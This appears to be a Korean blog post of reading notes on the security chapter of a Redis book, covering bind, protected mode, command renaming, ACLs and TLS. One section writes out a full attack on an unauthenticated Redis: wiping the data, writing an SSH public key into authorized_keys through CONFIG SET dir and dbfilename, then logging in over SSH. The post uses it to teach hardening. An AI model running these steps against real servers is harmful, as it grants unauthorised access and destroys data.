본문 바로가기

독서/개발자를 위한 레디스

[개발자를 위한 레디스] 11장 보안

반응형
SMALL

커넥션 제어

bind

레디스에서의 bind 설정

레디스에서 bind 설정이 동작하는 방법이다.

  • bind 설정: 레디스가 서버의 여러 ip 중 어떤 ip를 통해 들어오는 연결을 받아들일 것인지 지정한다.

 

레디스에서 bind 설정을 사용한 연결 제어

  • bind의 기본 설정 값은 127.0.0.1이다.
  • 기본값을 변경하지 않으면 레디스는 오직 동일한 서버 내에서의 연결만을 허용한다.
  • 서버 외부에서 직접 레디스에 접근해야 하는 경우, 이 값을 서버를 바라보는 다른 유효한 IP 주소로 변경해야 한다.
  • bind 설정값 자체를 주석 처리하거나 0.0.0.0 또는 *로 설정하는 경우, 레디스는 서버가 가지고 있는 IP 주소로 들어오는 모든 연결을 허용하는 방식으로 동작한다.

 

패스워드

  • 노드에 직접 패스워드를 지정하는 방식
    • requirepass 커맨드로 패스워드 설정
  • ACL(Access Control List) 기능을 사용하는 방식 (버전 6.0 이후)

 

Protected mode

레디스를 운영 용도로 사용한다면 설정하는 것을 권장한다.

  • protected mode가 yes일 때 패스워드를 설정하지 않았다면 로컬에서 들어오는 연결만을 허용한다. (기본값)
  • 패스워드 없이 레디스를 사용하고 싶다면 protected mode를 no로 변경하면 된다.

 

커맨드 제어

  • CONFIG GET 커맨드를 통해 설정값을 읽어올 수 있다.
  • CONFIG SET 커맨드를 통해 재설정할 수 있다.

 

커맨드 이름 변경

  • rename-command는 레디스에서 특정 커맨드를 다른 이름으로 변경하거나, 커맨드를 비활성활 수 있는 설정이다. (redis.conf)
  • redis.conf에서 변경한 커맨드는 sentinel.conf에서도 변경해야 한다.

 

rename-command CONFIG CONFIG_NEW

CONFIG_NEW라는 이름을 사용해 해당 명령어(CONFIG)를 실행할 수 있게 된다.

 

rename-command CONFIG ""

빈 문자열로 변경하면 해당 커맨드는 사용할 수 없게 된다.

 

커맨드 실행 환경 제어

# dir 및 백업 파일의 경로를 지정하는 dbfile 등의 옵션을 CONFIG 커맨드로 수정하는 것을 차단
enable-protected-configs no

# DEBUG 커맨드 차단
enable-debug-command no

# MODULE 커맨드 차단
enable-module-command no
  • no: 모든 연결에 대해서 명령어의 수행이 차단된다.
  • yes: 모든 연결에 대해서 명령어의 수행이 허용된다.
  • local: 로컬 연결에 대해서만 명령어의 수행이 허용된다.

 

레디스를 이용한 해킹 사례

해킹 사례 (1)

서버A에서 protected-mode의 설정값은 no로 지정되어 있고, 패스워드는 설정되지 않았다.

 

$ telnet 203.0.113.1 6379
Trying 203.0.113.1...
Conntected to 203.0.113.1.
Escape character is '^]'.
echo "no AUTH"
$7
no AUTH
quit
+OK
Connection closed by foreign host.

telnet 커맨드를 사용한다.

  • 네트워크 통신이 가능한 것을 알 수 있다.
  • redis-cli를 사용해 패스워드 없이 연결하는 것이 가능하다.

 

해킹 사례 (2)

서버B에서 SSH 키를 생성하고, 이 키의 데이터를 레디스를 통해 서버A로 전송해 파일로 저장한 후, 이 키를 사용해 서버B에서 서버A로의 접근을 가능하게 한다.

 

# 서버B에서 A의 레디스로 접근해서 레디스의 내용을 전체 삭제
$ redis-cli -h 203.0.113.1 echo flushall

# 생성한 텍스트 파일을 데이터로 삽입
$ cat key.txt | redis-cli -h 203.0.113.1 -x set key

(ssh-keygen을 이용해 키를 생성하고, key.txt라는 텍스트 파일을 생성한 것으로 가정)

 

$ redis-cli -h 203.0.113.1 -p 6397

203.0.113.1:6397> CONFIG SET dir /home/centos/.ssh/
OK

203.0.113.1:6397> CONFIG GET dir
1) "dir"
2) "/home/cnetos/.ssh"

203.0.113.1:6397> CONFIG SET dbfilename authorized_keys
OK

203.0.113.1:6397> SAVE
OK

서버A의 레디스에 직접 접근해 데이터가 저장되는 경로와 파일명을 변경한다.

  • /home/centos/.ssh 경로에 authorized_keys 파일명으로 RDB 파일이 저장된다.

 

# 서버B에서 서버A로 직접 접근
$ ssh -i id_rsa centos@203.0.113.1

서버B에서 생성한 SSH 키를 사용해 서버A에 직접 접근할 수 있게 되었다.

 

이러한 과정을 통해 보안이 취약한 레디스를 이용해 서버에 직접 접근할 수 있게 된다.

 

ACL

각 유저별로 실행 가능한 커맨드와 접근 가능한 키를 제한하는 기능

 

redis의 ACL

  • garimoo라는 이름을 가진 유저 생성
  • 패스워드는 password로 설정
  • 접근 가능한 키는 cached: 프리픽스를 가진 모든 키
  • 모든 채널에 pub/sub 가능
  • 위험한 커맨드를 제외한 전체 커맨드 사용 가능

 

유저의 생성과 삭제

ACL SETUSERACL DELUSER 커맨드로 유저를 생성하거나 삭제할 수 있다.

 

> ACL LIST
1) "user default on nopass ~* &* +@all"

기본 유저는 다음과 같은 권한과 특징을 가지고 있다.

  • 유저 이름: default
  • 유저 상태: on (활성화)
  • 유저 패스워드: nopass (패스워드 없음)
  • 유저가 접근할 수 있는 키: ~* (전체 키)
  • 유저가 접근할 수 있는 채널: &* (전체 채널)
  • 유저가 접근할 수 있는 커맨드: +@all (전체 커맨드)

 

유저 상태 제어

유저의 활성 상태는 on과 off로 제어할 수 있다.

  • on: 해당 유저로의 접근 허용
  • off: 더 이상 유저로 접근할 수 없음 (이미 접속한 유저의 연결은 유지)

 

패스워드

  • >패스워드: 패스워드 지정
  • <패스워드: 지정한 패스워드 삭제
  • nopass 권한을 부여하면 패스워드 없이 접근 가능
  • resetpass 권한을 부여하면 유저에 저장된 모든 패스워드 삭제 (nopass 상태도 사라짐) -> 사실상 임시 접근 불가

 

패스워드 저장 방식

# mypassword가 암호화되어 저장
> ACL SETUSER user:100 on >mypassword

ACL을 이용해 패스워드를 저장하면 내부적으로 SHA256 방식으로 암호화되어 저장된다.

 

커맨드 권한 제어

  • +@all / allcommands : 모든 커맨드의 수행 권한 부여
  • -@all / nocommands : 아무런 커맨드를 수행할 수 없음
  • +@<category> : 특정 카테고리의 권한 추가
  • -@<category> : 특정 카테고리의 권한 삭제
  • +<command> : 개별 커맨드의 권한 추가
  • -<command> : 개별 커맨드의 권한 삭제

 

> ACL CAT

레디스에 정의되어 있는 카테고리의 커맨드 list를 확인할 수 있다.

 

dangerous

아무나 사용하면 위험한 커맨드

  • 구성 변경 커맨드
    • replconf
    • replicaof
    • migrate
    • failover
  • 장애 유발 커맨드
    • sort
    • flushdb
    • flushall
    • keys
  • 운영 커맨드
    • shutdown
    • monitor
    • acl|log, acl|deluser, acl|list, acl|setuser
    • bgsave, brewriteaof
    • info
    • config|get, config|set, config|rewrite, config|resetstat
    • debug
    • cluster|addslots, cluster|forget, cluster|failover
    • latency|graph, latency|doctor, latency|reset, latency|history
    • client|list, client|kill, client|pause
    • module|loadex, module|list, module|unload

 

admin

dangerous 카테고리에서 장애 유발 커맨드를 제외한 커맨드 (상황에 따라 개발자가 사용할 수 있도록 제공 권장)

 

fast

O(1)로 수행되는 커맨드

 

slow

fast 카테고리에 속하지 않은 커맨드

 

keyspace

키와 관련된 커맨드

 

read

데이터를 읽어오는 커맨드

 

write

메모리에 데이터를 쓰는 커맨드

 

키 접근 제어

prefix 규칙을 미리 정해뒀다면 특정한 prefix를 가지고 있는 키에만 접근하도록 제어할 수 있다.

  • ~<pattern>을 이용해 접근 가능한 키를 정의 가능
  • %R~<pattern>: 읽기 권한
  • %W~<patter>: 쓰기 권한
  • %RW~<pattern>: 읽기, 쓰기 권한

 

셀렉터

좀 더 유연한 ACL 규칙을 위해 도입

 

> ACL SETUSER loguser resetkeys ~log:* (+GET ~mail:*)

loguser에 정의된 모든 키를 리셋하고, log:에 대한 모든 접근 권한을 부여한 뒤, mail:에 대해서는 get만 가능하도록 설정한다.

 

pub/sub 채널 접근 제어

&<pattern> 키워드로 pub/sub 채널에 접근할 수 있는 권한을 제어할 수 있다.

  • channels, &* : 전체 pub/sub 채널 접근 가능
  • resetchannels : 어떤 채널에도 접근 불가

 

유저 초기화

유저에 대한 모든 권한을 회수하고 기본 상태로 변경할 수 있다.

 

ACL 규칙 파일로 관리하기

기본적으로는 일반 설정 파일인 redis.conf에 저장되며, ACL 파일을 따로 관리해 유저 정보만 저장할 수도 있다.

 

SSL/TLS

SSL/TLS란?

  • SSL(Secure Sockets Layer): 암호화를 위한 인터넷 기반 보안 프로토콜
  • TLS(Transport Layer Security): 현재 널리 사용되고 있는 보안 프로토콜 (SSL 발전)
  • SSL/TLS
    • 클라이언트와 서버 간에 안전한 핸드셰이크 과정을 거친다.
    • 무결성과 기밀성을 확보한다.
      • 무결성: 데이터가 전송 과정에서 왜곡되지 않았음을 보증
      • 기밀성: 제3자가 데이터를 열람할 수 없도록 보호

 

레디스에서 SSL/TLS 사용하기

make BUILD_TLS=yes

레디스를 처음 빌드할 때부터 정의해야 한다.

 

tls-port <포트 번호>
tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt

redis.conf 파일에서 tls-port 값을 추가하면 SSL/TLS 연결을 사용할 것이라는 의미를 가진다.

 

./src/redis-cli --tls --cert /path/to/redis.crt --key /path/to/redis.key --cacert /path/to/ca.crt

인스턴스 접속 연결 시, 인증서를 입력해야 한다. (redis.conf 파일 내용과 동일)

 

SSL/TLS를 사용한 HA 구성

복제 구성

tls-port <포트 번호>

tls-replication yes

tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt

복제본도 마스터와 동일하게 설정을 추가해야 한다.

 

센티널 구성

tls-port <포트 번호>

tls-replication yes

tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt

센티널 구성 파일(sentinel.conf)에 위 내용을 추가한다.

 

클러스터 구성

tls-port <포트 번호>

tls-replication yes

tls-cluster yes

tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt

tls-cluster yes 구문을 추가한다.

반응형
LIST